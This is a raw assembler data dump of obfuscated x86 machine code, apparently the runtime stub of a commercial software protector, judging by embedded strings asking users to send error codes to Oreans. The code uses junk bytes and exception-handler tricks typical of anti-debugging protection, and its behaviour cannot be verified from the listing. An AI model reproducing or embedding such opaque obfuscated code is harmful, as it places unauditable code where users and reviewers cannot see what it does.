0F899858Dh, 6A05E9h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h dd 0E952B6C3h, 7CBCDA8Eh, 8D890616h, 5E73295h, 6890F50h dd 8B000000h, 0E7329D8Dh, 3195FF05h, 105E72Ch, 0E702359Dh dd 0FC08505h, 185h, 0BD80F800h, 5EA026Eh, 18850F00h, 0E9000000h dd 5, 65C611BEh, 83DA812Fh, 0E9463CB1h, 14DDh, 83D0B70Fh dd 0E701FDBDh, 850F0005h, 1Eh, 6E9h, 57F0E600h, 2912CDF3h dd 0E7196595h, 18BD8305h, 5EA07h, 5F840Fh, 858D0000h, 5E9F732h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 87C35747h dd 0BD958BE1h, 0E905E71Bh, 1481h, 36E9B2B1h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h dd 41000000h, 0EDB9C351h, 0D98D8B7Ch, 8905E729h, 0E716718Dh dd 1D858D05h, 0B05E9F7h, 0E7318595h, 0CA815005h, 57D9B87Bh dd 0F795858Dh, 0B95105E9h, 53305166h, 0BA66505Fh, 0A2B62F4Bh dd 1FDBD83h, 0F0005E7h, 4684h, 0A59D8900h, 8D05E711h, 0E9F8BB85h dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 0BC55CB5Fh, 394290C1h, 21E98D8Bh, 9D0105E7h dd 5E71AC1h, 0EE9h, 95958B00h, 8D05E715h, 0E9F8A485h, 50D38B05h dd 858DD4B5h, 5E9F8F3h, 1BA1BD89h, 815005E7h, 81B27BE2h dd 0BD95FF63h, 6605E709h, 0D15CD181h, 8910C483h, 0E7054185h dd 6AC08B05h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0A4C7C352h, 13FE9D60h, 8166B0B3h dd 8371FAE7h, 0E70C81BDh, 9750005h dd 2819BD83h, 740005E7h, 8B535019h, 7D3B8C0h, 85890000h dd 5E7047Dh, 0B4939D8Dh, 0D3FF05E9h, 0BD83585Bh, 5E72819h dd 50177400h, 7D3B853h, 85890000h, 5E7047Dh, 0B1829D8Dh dd 0D3FF05E9h, 0FE9585Bh, 1C000000h, 0D2BBE0E9h, 9137F2EAh dd 839D4F4Fh, 8B661E27h, 8BC08BCFh, 0E70A7195h, 1DBD8105h dd 6F05E9F7h, 0F616572h, 9B84h, 61953100h, 0E905E72Bh dd 7, 0BE148DA4h, 8D36FBEDh, 0E9F79585h, 858D5005h, 5E9F8D2h dd 0F3858D50h, 5005E9F8h, 9BD95FFh, 0C48305E7h, 0A585C60Ch dd 4405E732h, 0A3184F68h, 99B5FF96h, 8D05E708h, 0E7392A85h dd 8BD0FF05h, 0F3858DD8h, 5005E9F8h, 858DD3FFh, 5E9F71Dh dd 95858D50h, 5005E9F7h, 1FDBD83h, 740005E7h, 0BB858D08h dd 0EB05E9F8h, 0A4858D06h, 5005E9F8h, 0F8F3858Dh, 0FF5005E9h dd 0E709BD95h, 10C48305h, 8E9h, 5410EC00h, 631970CAh, 0F1D58037h dd 0B5195FFh, 6A05E7h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0EC10F4C3h, 0C181F39Fh, 5C19C7A8h dd 0FF25h, 58C0F00h, 0B9000000h, 2DCDF24Bh, 0F05F883h dd 6883h, 0EE800h, 0F2A90000h, 0BDC11374h, 770932C2h, 7332FC37h dd 6DBD8959h, 0C705E725h, 0E7319D85h, 105h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 5227477Eh, 2C95A3F0h, 1671BD8Bh, 850F05E7h, 6, 31A18D8Bh dd 858D05E7h, 5E9F751h, 47E9CF8Bh, 8B000000h, 0FDBD83CBh dd 5E701h, 2F840Fh, 0DE90000h, 4000000h, 72300E7Dh, 10548626h dd 71C8C08Ch, 0F77C858Dh, 850F05E9h, 6, 820Fh, 0FE90000h dd 89000000h, 0E72489B5h, 5E858D05h, 0F05E9F7h, 8589D2BFh dd 5E9F791h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0E5C35141h, 9D99303Bh, 81076D7Dh, 53AC46E2h, 0ED9D8929h dd 8305E700h, 0E701FDBDh, 850F0005h, 24h, 0E3816660h, 8B608DD5h dd 0E725E5B5h, 0CE816605h, 61611678h, 718BD83h, 0F0005EAh dd 0B84h, 0F88B6600h, 1108E9h, 0D78B6600h, 3FEE9h, 0E18D0900h dd 8B05E711h, 89CB8BC0h, 0E727559Dh, 81BD8305h, 5E70Ch dd 0BD830975h, 5E72819h, 50197400h, 0B8C08B53h, 7D4h, 47D8589h dd 9D8D05E7h, 5E9B493h, 585BD3FFh, 2819BD83h, 740005E7h dd 0B8535017h, 7D4h, 47D8589h, 9D8D05E7h, 5E9B182h, 585BD3FFh dd 75BB6660h, 0EF816617h, 0F861CEE1h, 188D0Fh, 13E90000h dd 0BF000000h, 0D3A1BD06h, 0BAF552AAh, 7379DA8Dh, 0C20427D9h dd 0C08B7873h, 1C1BF66h, 2E6DBD03h, 3F6805E7h, 8A000F00h dd 6A006AEEh, 71A5BF00h, 13E91F83h, 44000000h, 0A14F9B2h dd 4262D6CAh, 1E9144E3h, 4A8624C6h, 95FF872Ch, 5E713E9h dd 1C498D8Bh, 0C08505E7h, 850Fh, 85890000h, 5E9F715h, 4D958960h dd 6105E703h, 0CE9006Ah, 42000000h, 6787AF36h, 0DF1DCA3Bh dd 6A07BB53h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 4353E798h, 6AE1DA65h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0A0B94136h, 0B0391C3h, 0E732DDBDh, 80006A05h, 6A41F1h dd 194D9509h, 858D05E7h, 5E9F8F3h, 5D858952h, 5905E707h dd 4D8D8B50h, 6A05E72Bh, 0B77DBA01h, 16A6795h, 60B760F5h dd 0F016A61h, 280h, 6851B600h, 0F01FFh, 1FDBD83h, 0F0005E7h dd 2A84h, 13E900h, 70690000h, 0B96FF06Eh, 8AFCEF96h, 5379FA11h dd 0ACC38D6Dh, 72858DF9h, 2905E9F7h, 0E71749B5h, 0DE905h dd 8DFC0000h, 0E9F74885h, 659D8905h, 5005E724h, 1A59958Bh dd 6A5005E7h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 0BB66C352h, 7B23A428h, 0B96653AEh dd 0F5A5D1Eh, 0B5FFD2BFh, 5E9F715h, 0F70195FFh, 0C08505E9h dd 30850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 8BFD24C3h, 0E7294995h, 77E905h dd 29530000h, 0E7328D85h, 85895905h, 5E9F719h, 0FFFB8B66h dd 0E9F719B5h, 81958B05h, 0E805E732h, 0Ah, 0C5E9FBFEh dd 0CD9657FDh, 0BF0FCF97h, 95FF5AD7h, 5E70BE5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 6FC35141h, 2EFAD41Eh dd 958B5302h, 5E724E5h, 0FC0855Fh, 1085h, 7E900h, 1C2B0000h dd 71D24058h, 12BF668Fh, 0E9106AD4h, 7, 2C1D19h, 839D98FEh dd 0E701FDBDh, 840F0005h, 4Ch, 0C467B9FCh, 858D379Dh, 5E9F772h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7DC35040h dd 0BB87C32Eh, 25E98A5Bh, 0E9000000h, 14h, 75C11BCFh, 0F40DC726h dd 0AE749F17h, 0B885454Bh, 874B80D6h, 0F748858Dh, 0B58905E9h dd 5E713F9h, 7ABA6650h, 15B5FFF0h, 8905E9F7h, 0E709CD85h dd 0D95FF05h, 8A05E9F7h, 0FC085F0h, 385h, 0C9BF0F00h, 0F7198589h dd 6A05E9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 9F04E2C3h, 0F40F11Bh, 6AC9BFh, 2C89B589h dd 6A05E7h, 0E4E448BAh, 19B5FF17h, 8905E9F7h, 0E72BF1BDh dd 595FF05h, 8905E9F7h, 0E732F595h, 1D958905h, 8505E71Ah dd 23850FC0h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 24FDC356h, 663B6877h dd 0B5FFF98Bh, 5E9F719h, 95FF87B6h, 5E70BE5h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 8DC35040h, 9DD59B25h dd 0BC32E7C1h, 0FC08594h, 685h, 7FCF8100h, 6A59299Dh, 0D2816600h dd 8166AEA7h, 681C00D9h, 80h, 1851BD8Bh, 36A05E7h, 0FE9h dd 0DD3E4500h, 9FAFDE55h, 0B0AC8C1Ch, 0E01C5352h, 1269BD8Bh dd 6A05E7h, 6ACE8Bh, 6880F53h, 31000000h, 0E7137D8Dh, 685A05h dd 60C00000h, 0D8B866F8h, 0BF666163h, 0B5FFF199h, 5E9F791h dd 23C9B70Fh, 0E722D98Dh, 0BD95FF05h, 6A05E72Ch, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0E8A9C355h, 0F8831AB6h, 0AD850FFFh, 8B000005h, 0E70C2D8Dh dd 0C5BD3305h, 0FF05E728h, 0EA01FF85h, 0FAB70F05h, 1FFBD83h dd 0F0205EAh, 3F684h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1804h, 0C3574700h, 319C793Dh, 8166F5C9h dd 8DBB71E1h, 5AF59F85h, 0B98D2900h, 0FF05E711h, 858DFCD0h dd 5AEFF2h, 169BD31h, 0D0FF05E7h, 0A431D981h, 0C08B4E88h dd 18958D03h, 0BD8305E7h, 5E70C81h, 83097500h, 0E72819BDh dd 19740005h, 0C08B5350h, 7D8B8h, 7D858900h, 8D05E704h dd 0E9B4939Dh, 5BD3FF05h, 19BD8358h, 5E728h, 53501774h dd 7D8B8h, 7D858900h, 8D05E704h, 0E9B1829Dh, 5BD3FF05h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h dd 0C3504000h, 7E922h, 0A7A80000h, 0B91D149Ah, 52006A54h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 3633870Bh, 6AC8539Eh, 0C08BB5B6h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0CDC35242h, 0BC0EB168h dd 6856EF50h, 0F003Fh, 6AF98Bh, 8A006AFCh, 0E995FFECh dd 8905E713h, 0E72B8585h, 0CEBF0F05h, 8B66C085h, 158589D0h dd 2905E9F7h, 0E712C19Dh, 1FF6805h, 11E9000Fh, 65000000h dd 1688801Dh, 87E0C55Ah, 0C878688Eh, 2EFB4599h, 1FDBD83h dd 0F0005E7h, 1684h, 858DF800h, 5E9F772h, 218D8589h, 0CE905E7h dd 66000000h, 8DAF84B9h, 0E9F74885h, 50F48A05h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0F3C35141h, 0A6B95F21h dd 0E9C63281h, 0Fh, 0B8FA96CAh, 93D35825h, 6948C144h, 0E8DD286Ah dd 0Fh, 29ACD3C3h, 2A32FDEEh, 0AD6136ACh, 51F4259Ch, 0B5FF5F5Ah dd 5E9F715h, 7E9h, 0D2808700h, 0DA9290B1h, 0F70D95FFh dd 0BD8B05E9h, 5E70B8Dh, 0F7198589h, 5B505E9h, 189985C7h dd 5E7h, 12E90000h, 0AC000000h, 0A88A3DC3h, 49C28ACFh dd 0E9626758h, 0F895C7FEh, 19BD83A1h, 5E9F7h, 197840Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0DF54A3C3h, 1441EB00h, 0F18D29D2h, 8D05E727h dd 0E9F9F785h, 16A5005h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 14h, 7FC35141h, 0C8BFF5B2h, 0FF65CDA6h, 0E9F719B5h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 88E6D980h, 0FFE78E0Ch, 0E9F71195h, 0A98D8B05h dd 0FF05E706h, 0E9F719B5h, 5AF85205h, 0BE595FFh, 958B05E7h dd 5E71D11h, 0F01FF68h, 0D8D8900h, 8305E709h, 0E701FDBDh dd 840F0005h, 5Fh, 8DCE8B66h, 0E9F77285h, 9E805h, 2E2A0000h dd 8B9C2BB2h, 92DA2EBh, 0E72D818Dh, 48E95F05h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 0EF44C351h, 0D5D6B7FAh, 454264AAh, 9810Fh dd 0BA600000h, 736C0709h, 0F616160h, 286h, 8DFA8B00h, 0E9F74885h dd 0A1858905h, 5005E72Ah, 0B5FFC88Bh, 5E9F715h, 747BC981h dd 95FF5722h, 5E9F70Dh, 3F18D89h, 858905E7h, 5E9F719h dd 9531BA66h, 0F719B5FFh, 0AE905E9h, 51000000h, 3D30DF44h dd 65D6C7E9h, 6674BF7Fh, 95FF6E65h, 5E9F709h, 1FA18D01h dd 0B5FF05E7h, 5E9F719h, 11E9h, 1EDB7000h, 0DB6B2868h dd 0B56CB88Bh, 17E7CC4Ch, 0B589C178h, 5E7252Dh, 0BE595FFh dd 0BF0F05E7h, 0F791E9C8h, 6AFFFFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 75034AC3h dd 0F321690h, 885h, 8B0F5600h, 0 dd 0D99D895Ah, 0FF05E729h, 0EA0262B5h, 69958B05h, 0FF05E715h dd 0E7179595h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 84FCD1ABh, 0EE89D33h dd 39000000h, 4869269Fh, 0BD657C81h, 0BDA8689Eh, 5D958B63h dd 5F05E720h, 31B1858Bh, 6A05E7h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 0A96B66C3h, 0ECBCEA3Ch dd 0AE914ABh, 0EC000000h, 0FE6645D2h, 3BD08A6h, 0DF816656h dd 0FFE9207Ah, 1000005h, 0E71A0DB5h, 17B58D05h, 6A05E9FAh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 30DBC350h, 26A27AF9h, 8B3FE1F6h, 858DF5D0h dd 5E9A7A6h, 11E59509h, 0D0FF05E7h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0B6C35545h, 0E8F5D0F9h, 11h dd 662B4C1Ah, 15CB9FB4h, 62E49013h, 569254F8h, 5AD68BABh dd 6850Fh, 8D8B0000h, 5E72CF1h, 8A60006Ah, 599503CFh, 6105E715h dd 0C3B70F60h, 13159D89h, 0FF6105E7h, 0E7170195h, 0D08B5105h dd 6AF38B59h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 1A88C350h, 0F55082E0h, 0FF2A5B0h dd 680h, 0B98D8B00h, 8D05E719h, 0E9A7A685h, 41958905h dd 0FF05E715h, 9D8529D0h, 6A05E722h, 0D1816600h, 95FF89FBh dd 5E71701h, 68C0Fh, 95310000h, 5E706B9h, 958BC08Bh, 5E72C71h dd 0C81BD83h, 750005E7h, 19BD8309h, 5E728h, 53501974h dd 0D9B8C08Bh, 89000007h, 0E7047D85h, 939D8D05h, 0FF05E9B4h dd 83585BD3h, 0E72819BDh, 17740005h, 0D9B85350h, 89000007h dd 0E7047D85h, 829D8D05h, 0FF05E9B1h, 0B9585BD3h, 7451D621h dd 80CBB70Fh, 0C08B09D2h, 0A541CA81h, 0B9663D35h, 0F5507239h dd 9503D88Bh, 5E70C25h, 99D8D53h, 8B05E712h, 8B038903h dd 43895043h, 0FB9D8D50h, 8B05EA01h, 5B038903h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 6AC35747h, 9589BB5Bh dd 5E708E5h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 5F134AC3h, 0AE87Bh, 0EF6D0000h dd 0F29D0C0Dh, 0F7E1BEC0h, 858D59F5h, 5EA01FBh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 13C35040h, 8589C51Bh dd 5E716EDh, 0FEB70F50h, 0FC60606Ah, 8E8h, 0B84EFC00h dd 0AEE5BC59h, 0FA69BE6Ah, 61594499h, 1209858Dh, 8D8905E7h dd 5E72A95h, 0CA816650h, 6AF595h, 0EC02BA66h, 8E9006Ah dd 0D0000000h, 0D59A9E5Fh, 686FE1C6h, 1800h, 95FFFC53h dd 5E715D5h, 17918531h, 958905E7h, 5E70A81h, 76D95FFh dd 9D2905E7h, 5E72EB5h, 262B5FFh, 9E905EAh, 0D3000000h dd 57077DFFh, 5E20280h, 179595FFh, 6A05E7h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 89E5EFC3h dd 0E712C99Dh, 0D8D8905h, 8B05E704h, 0E7003995h, 9858D05h dd 0FC05E712h, 0E918408Bh, 10h, 8680BB3Eh, 0BB92639Eh dd 0C60194A4h, 0F2A94955h, 2C6585C7h, 5E7h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0DFD878C3h, 0EFEA2164h, 0E8B9E281h, 0BD835435h, 5E701FDh dd 28840F00h, 66000000h, 8FACE281h, 8C3DD68Bh, 0F000000h dd 1DA83h, 0E9816600h, 1DE9D859h, 9000000h, 0E7142995h dd 0F1BD2905h, 3D05E72Ch, 96h, 1B9830Fh, 95330000h, 5E711C5h dd 0F59F858Dh, 12E8005Ah, 0F5000000h, 33137EFBh, 76680CE2h dd 6F599DDDh, 9E6ACF88h, 0E18166BFh, 0FF5F7DFBh, 89BD01D0h dd 8D05E700h, 5AEFF285h, 79858900h, 6005E717h, 9858B60h dd 0F505E721h, 10E961h, 0B1D40000h, 4DF11EC2h, 2921D587h dd 0E5E19C09h, 0FF616AF1h, 39BD8BD0h, 8B05E701h, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0F4BF3C4Ch, 0BD8322D9h, 5E70C81h, 83097500h, 0E72819BDh dd 19740005h, 0C08B5350h, 0BC6B8h, 7D858900h, 8D05E704h dd 0E9B4939Dh, 5BD3FF05h, 19BD8358h, 5E728h, 53501774h dd 0BC6B8h, 7D858900h, 8D05E704h, 0E9B1829Dh, 5BD3FF05h dd 0D1858958h, 0E805E729h, 14h, 0DC9F6FA6h, 6D55AC6h, 5EB5B6ABh dd 6E0CE8F9h, 4BF0CAD4h, 1479BD89h, 8B5A05E7h, 50006AC0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 7498AF01h, 9B774DE1h, 0FFF883F5h, 42850Fh, 9D010000h dd 5E7130Dh, 151D85C7h, 5E7h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 160424h, 57470000h, 4903BEC3h dd 100E9h, 0D5958B00h, 0E905E709h, 45h, 0D162B966h, 0F01F883h dd 3885h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0B5CE22BBh, 69AD5CE6h, 0CBB70F45h dd 109E9h, 7E900h, 0C94B0000h, 0BA1E9D40h, 0F1C5E998h dd 8B66FFFFh, 258D8BFBh, 8B05E700h, 3850FC0h, 66000000h dd 0BD83FB8Bh, 5E70C81h, 83097500h, 0E72819BDh, 19740005h dd 0C08B5350h, 7DDB8h, 7D858900h, 8D05E704h, 0E9B4939Dh dd 5BD3FF05h, 19BD8358h, 5E728h, 53501774h, 7DDB8h, 7D858900h dd 8D05E704h, 0E9B1829Dh, 5BD3FF05h, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 45CEF2EBh dd 0B323DC6Ah, 9E9A9C0h, 8E000000h, 0C7D5259Fh, 737492F2h dd 2B858589h, 0C08B05E7h, 81BD23h, 1AE905E7h, 81000002h dd 72086CD1h, 0FF858D75h, 8905E9FFh, 0EA01F785h, 61858905h dd 0E905E700h, 62h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 1DC35646h, 654AA9B1h, 0AD4AE1BBh, 0CE8h dd 51E66000h, 43063DA7h, 7252E92Eh, 858D5A80h, 5E9FE07h dd 0C850Fh, 8F0F0000h, 6, 8CC9DA81h, 3DBA42BAh, 40590E51h dd 858942B5h, 5EA01F7h, 16718D31h, 346A05E7h, 6E5858Dh dd 0FF5005E7h, 0EA01F7B5h, 0FF006A05h, 0E708D995h, 7F88305h dd 162840Fh, 8C660000h, 4C3F6DBh, 0FC850Fh, 85C60000h dd 5E732A5h, 0B8526856h, 0B5FF9CA8h, 5E70899h, 392A858Dh dd 0D0FF05E7h, 68046Ah, 6A000010h, 0FF006A64h, 6A8589D0h dd 0C605EA02h, 0E732A585h, 9B684705h, 0FFEC18ACh, 0E70899B5h dd 2A858D05h, 0FF05E739h, 8BD0FFD0h, 0A585C6F0h, 4F05E732h dd 2F266168h, 6DB5FFC6h, 8D05E72Ah, 0E7392A85h, 8DD0FF05h dd 0EA02669Dh, 286A5305h, 85D0FF56h, 0C60075C0h, 0E732A585h dd 98684105h, 0FFDB8764h, 0E72A6DB5h, 2A858D05h, 0FF05E739h dd 838589D0h, 0C605EA02h, 0E732A585h, 0A4684C05h, 0FF80A4E7h dd 0E72A6DB5h, 2A858D05h, 0FF05E739h, 6A9D8BD0h, 8D05EA02h dd 8D53045Bh, 0EA026F9Dh, 6A5305h, 9D8BD0FFh, 5EA026Ah dd 103C7h, 43C70000h, 20Ch, 0ED85C700h, 5E728h, 6A000000h dd 6A006A00h, 6A9D8B00h, 5305EA02h, 0B5FF006Ah, 5EA0266h dd 28395FFh, 85C605EAh, 5E732A5h, 0F7976845h, 0B5FF92A5h dd 5E71785h, 392A858Dh dd 0D0FF05E7h, 26A006Ah, 8C66D0FFh, 4C3F6DBh, 9D8B3275h dd 5EA026Ah, 0C43C7h, 6A000000h, 8B006A00h, 0EA026A9Dh dd 6A5305h, 266B5FFh, 95FF05EAh, 5EA0283h, 266B5FFh, 95FF05EAh dd 5E7076Dh, 95FF006Ah, 5E71701h, 4FCB80B9h, 6660FC59h dd 0E881CA8Bh, 2EC70F8Dh, 0BD858D61h, 6A05EA33h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 6087C352h, 1A01958Bh, 0E28105E7h, 7945F01Ch, 0FF645061h dd 35h, 0CB8B6600h, 258964h, 89000000h, 0E700399Dh, 2800F05h dd 0B2000000h, 9BD8357h, 5E718h, 3A840Fh, 958B0000h, 5E72A51h dd 2B8DBD83h, 0F0105E7h, 2785h, 0AC28000h, 683BD80h, 0F0005EAh dd 1785h, 39953100h, 0E905E71Ah, 178h, 68B0Fh, 8D890000h dd 5E73319h, 880FDB33h, 6, 2CE19529h, 42B505E7h, 9D89C033h dd 5E703ADh, 1C49958Bh, 0F4005E7h, 640B073Fh, 58Fh, 0C4830000h dd 8BB96604h, 50006A6Ch, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 0DE9829FEh, 0FFFFB83h, 0A84h, 0E9D38B00h dd 102h, 0E9F9C8B2h, 94h, 2EA5B509h, 840F05E7h, 6, 1A519D89h dd 4C8B05E7h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h, 33040000h dd 5C8BC3C0h, 0E8550C24h, 0 dd 0DFED815Dh, 8B05EA33h, 0B883h, 0AF858D00h, 8905EA34h dd 0B883h, 0C0335D00h, 518D8BC3h, 6005E70Ah, 9F94B866h dd 76C9B953h, 6158015Dh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0DAC35141h, 2DC92E63h, 0B237442h, 4637B933h dd 0F281481Ah, 54F538AAh, 33D5858Dh, 8B5005EAh, 0E717E18Dh dd 35FF6405h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0F5C35747h dd 4AC40B2h, 8964A131h, 25h, 0AB9F900h, 0B8000000h, 4855D704h dd 0F7816405h, 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh dd 0FB81ED00h, 564D5868h, 85C70A75h, 5E71C85h, 1, 58F64h dd 83000000h, 0B96604C4h, 6A761Fh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0AB63EDC3h, 9BAA9CBFh dd 89C08B06h, 0E7319995h, 81BD8305h, 5E70Ch, 0BD830975h dd 5E72819h, 50197400h, 0B8C08B53h, 43Dh, 17758589h, 9D8D05E7h dd 5E9B4FAh, 585BD3FFh, 2819BD83h, 740005E7h, 0B8535017h dd 43Dh, 17758589h, 9D8D05E7h, 5E9B19Bh, 585BD3FFh, 0C09BD89h dd 0B96605E7h, 0C08BF128h, 13AE9h, 400h, 382E3100h, 3535h dd 6 dup(0) dd 45000000h, 70656378h, 6E6F6974h, 666E4920h, 616D726Fh dd 6E6F6974h, 656C5000h, 2C657361h, 6E657320h, 68742064h dd 6F662065h, 776F6C6Ch, 20676E69h, 65646F63h, 6F742073h dd 666E6920h, 726F406Fh, 736E6165h, 6D6F632Eh, 6854202Eh dd 206B6E61h, 2E756F79h, 0D0A0D0Ah, 2 dup(20202020h), 65727028h dd 43207373h, 2B4C5254h, 6E6F2043h, 69687420h, 69772073h dd 776F646Eh, 206F7420h, 79706F63h, 206F7420h, 70696C63h dd 72616F62h, 20202964h, 0D0A2020h, 65560D0Ah, 6F697372h dd 3D20206Eh, 0A732520h, 6568430Dh, 4E496B63h, 203D2020h dd 0D0A6425h, 63656843h, 54554F6Bh, 25203D20h, 500D0A64h dd 49636F72h, 2020204Eh, 6425203Dh, 72500D0Ah, 554F636Fh dd 3D202054h, 0A642520h, 6978450Dh, 204E4974h, 203D2020h dd 0D0A6425h, 74697845h, 2054554Fh, 25203D20h, 540D0A64h dd 206E6950h, 20202020h, 6425203Dh, 83000D0Ah, 0E7138DBDh dd 840F0005h, 12Dh, 0AFB2858Dh, 8D5005E9h, 0E9AF1C85h dd 1685005h, 0FF800000h, 0E9AFC295h, 44858D05h, 5005EA35h dd 354E858Dh, 6A5005EAh, 8D006A00h, 0E9AF3085h, 0B5FF5005h dd 5E9AFB2h, 1B3595FFh, 858D05E7h, 5EA3544h, 52858D50h dd 5005EA35h, 6A006Ah, 0AF42858Dh, 0FF5005E9h, 0E9AFB2B5h dd 3595FF05h, 8D05E71Bh, 0EA354485h, 858D5005h, 5EA355Eh dd 6A006A50h, 8F858D00h, 5005E9AFh, 0AFB2B5FFh, 95FF05E9h dd 5E71B35h, 3544858Dh, 8D5005EAh, 0EA356685h, 6A5005h dd 858D006Ah, 5E9AFADh, 0B2B5FF50h, 0FF05E9AFh, 0E71B3595h dd 44858D05h, 5005EA35h, 3562858Dh, 6A5005EAh, 8D006A00h dd 0E9AF9685h, 0B5FF5005h, 5E9AFB2h, 1B3595FFh, 858D05E7h dd 5EA3544h, 56858D50h, 5005EA35h, 6A006Ah, 0AF9E858Dh dd 0FF5005E9h, 0E9AFB2B5h, 3595FF05h, 8D05E71Bh, 0EA354485h dd 858D5005h, 5EA355Ah, 6A006A50h, 0A5858D00h, 5005E9AFh dd 0AFB2B5FFh, 95FF05E9h, 5E71B35h, 0AFB2B5FFh, 95FF05E9h dd 5E71D45h, 0A2E9h, 0A9BD8300h, 5E727h, 95840Fh, 0BD830000h dd 5E72B8Dh, 11850F00h, 8B000000h, 0E71B1195h, 0F8C28105h dd 0E900001Ch, 0Fh, 1209958Dh, 528B05E7h, 40C28134h, 893BD4C3h dd 0E729D595h, 0D5BD8305h, 5E729h, 55840Fh, 9D8B0000h dd 5E729D5h, 8B4CC383h, 4E858903h, 8B05EA35h, 0E729D59Dh dd 50C38305h, 8589038Bh, 5EA3552h, 29D59D8Bh, 0C38305E7h dd 89038B54h, 0EA355E85h, 0D59D8B05h, 8305E729h, 38B58C3h dd 35628589h, 9D8B05EAh, 5E729D5h, 8B5CC383h, 56858903h dd 8305EA35h, 0E7138DBDh, 850F0005h, 0Dh, 27A9BD83h, 0F0005E7h dd 6884h, 66B5FF00h, 0FF05EA35h, 0EA355AB5h, 56B5FF05h dd 0FF05EA35h, 0EA3562B5h, 5EB5FF05h, 0FF05EA35h, 0EA3552B5h dd 4EB5FF05h, 8D05EA35h, 0EA354885h, 858D5005h, 5EA3580h dd 89858D50h, 5005E71Dh, 9BD95FFh, 0C48305E7h, 8D406A24h dd 0EA356A85h, 858D5005h, 5E71D89h, 0FF006A50h, 0E708D995h dd 0FF016A05h, 0E7170195h, 0EBC18B05h, 46F31718h, 9Bh dd 4 dup(0) dd 20BE900h, 8B600000h, 0E824245Ch, 0 dd 7ED815Dh, 6105EA39h, 0E90004C2h, 0FFFFFFE6h, 8C26160h dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0) dd 0E9C36160h, 0FFFFFFF8h, 393FB58Bh, 0E68105EAh, 0FFFFF000h dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3943B53Bh, 860F05EAh dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h, 324C88Ch dd 840FC00Ah, 19h, 2BB5350h, 8B000000h, 0E729D585h, 0A188605h dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h, 50FFFFFFh dd 82474FFh, 